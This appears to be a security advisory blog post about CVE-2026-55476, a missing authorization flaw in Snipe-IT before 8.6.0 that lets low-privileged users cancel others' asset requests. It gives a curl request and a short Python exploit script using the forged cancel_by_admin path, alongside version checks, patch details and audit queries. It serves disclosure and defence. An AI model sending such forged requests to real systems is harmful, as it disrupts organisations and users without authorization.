Listen to this Post
How CVE-2026-55476 Works
Snipe-IT is an open‑source IT asset and license management system written in PHP. Prior to version 8.6.0, the application exposed a RESTful endpoint at `POST /account/request/{itemType}/{itemId}/{cancel_by_admin?}/{requestingUser?}` that was designed to allow administrators to cancel pending asset requests on behalf of other users. The endpoint accepted two variable path segments: `cancel_by_admin` (a flag indicating an administrative cancellation) and `requestingUser` (the ID of the user whose request should be cancelled).
The core vulnerability lies in the fact that the `cancel_by_admin` parameter is processed as a plain URL path segment without any server‑side authorization check. The application does not verify whether the currently authenticated session actually belongs to a user with administrative privileges before honouring the `cancel_by_admin` flag. Instead, it blindly trusts the presence of this segment in the URL and proceeds to cancel the request belonging to the user ID supplied in the `requestingUser` parameter.
This means that any authenticated user—regardless of their role—can craft a POST request to that endpoint, set `cancel_by_admin` to any non‑empty value (e.g., `1` or true), and provide a victim’s user ID as the final path segment. The system will then cancel the victim’s pending asset request as if an administrator had performed the action. No additional permission checks, role validation, or confirmatory steps are enforced.
The vulnerability is particularly dangerous because the cancellation happens silently: the victim user receives no notification that their request has been voided, and the action is not logged in a way that distinguishes it from a legitimate administrative cancellation. An attacker could repeatedly cancel requests for specific users, disrupting asset provisioning workflows, causing operational delays, or even harassing individuals by preventing them from obtaining needed equipment.
The flaw stems from improper input handling and a failure to enforce the principle of least privilege. It aligns with CWE‑862 (Missing Authorization) and CWE‑285 (Improper Authorization). The endpoint’s logic should have explicitly checked for an admin role or a dedicated permission before processing the `cancel_by_admin` flag, but this validation was entirely omitted. The issue was addressed in version 8.6.0 by adding proper authorization guards that verify the user’s privileges before allowing any cancellation with administrative intent.
DailyCVE Form:
Platform: Snipe‑IT
Version: < 8.6.0
Vulnerability: Missing Authorization
Severity: Medium (CVSS 5.3)
Date: 2026‑07‑10
Prediction: Patch already released
What Undercode Say: Analytics
The following commands and code snippets help assess exposure and verify the fix.
Check installed version (CLI):
php artisan snipeit:version
Query the database for the current version (MySQL):
SELECT `value` FROM `settings` WHERE `key` = 'version_string';
Verify the vulnerable endpoint is reachable (cURL example):
curl -X POST "https://snipe-it.example.com/account/request/asset/123/1/456" \ -H "Cookie: snipeit_session=..." \ -H "X-CSRF-TOKEN=..." \ -d ""
(Replace `asset/123` with the actual item type and ID, `1` as cancel_by_admin, and `456` as the victim user ID.)
Check for the fix in the source code (commit reference):
The patch introduces authorization logic in the request cancellation controller. Look for a check similar to:
if (! Gate::allows('admin')) {
abort(403, 'Unauthorized action.');
}
or the use of Laravel’s policy system:
$this->authorize('cancelRequests', $user);
Monitor for suspicious cancellations (audit log query):
SELECT FROM `action_logs` WHERE `action_type` = 'cancel_request' AND `created_at` > NOW() - INTERVAL 7 DAY ORDER BY `created_at` DESC;
Exploit
An attacker with a valid, low‑privileged account can exploit this vulnerability by sending a POST request to the vulnerable endpoint with the following structure:
POST /account/request/{itemType}/{itemId}/1/{victimUserId}
– `{itemType}` – typically `asset` or `license`
– `{itemId}` – the ID of the asset or license being requested
– `1` – the `cancel_by_admin` flag (any non‑empty value works)
– `{victimUserId}` – the numeric ID of the target user
The attacker must include a valid session cookie and CSRF token. No special permissions are required. The victim’s pending request is cancelled immediately and silently.
Example exploit using Python requests:
import requests
url = "https://snipe-it.example.com/account/request/asset/42/1/789"
cookies = {"snipeit_session": "attacker_session_cookie"}
headers = {"X-CSRF-TOKEN": "valid_csrf_token"}
response = requests.post(url, cookies=cookies, headers=headers)
if response.status_code == 200:
print("Victim's request cancelled successfully.")
Protection
- Upgrade to Snipe‑IT version 8.6.0 or later – this is the only complete fix. The patch introduces proper authorization checks for the `cancel_by_admin` parameter.
- Apply the official commits if an immediate upgrade is not possible:
- 3c1b189
- ac21621
- Implement a Web Application Firewall (WAF) rule to block requests to `/account/request///cancel_by_admin/` or any path containing a `cancel_by_admin` segment unless the user is verified as an administrator.
- Enforce strict role‑based access control at the application level – ensure that all administrative actions are guarded by Laravel’s authorization policies or custom middleware.
- Enable detailed audit logging for all request cancellations and monitor for unusual patterns, such as a high volume of cancellations from non‑admin accounts.
Impact
- Operational disruption – Attackers can silently cancel pending asset or license requests for any user, delaying equipment provisioning and affecting productivity.
- Targeted harassment – Specific individuals can be repeatedly prevented from obtaining required resources, creating a hostile work environment.
- Loss of audit integrity – Because the cancellation is not properly attributed to a non‑admin user, forensic investigations may misinterpret the action as legitimate, hindering incident response.
- Business process compromise – Automated workflows that depend on request approvals may break, leading to unfulfilled orders, inventory mismanagement, and increased support overhead.
- Reputational damage – Organisations relying on Snipe‑IT for critical asset tracking may suffer loss of trust if the system is perceived as insecure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
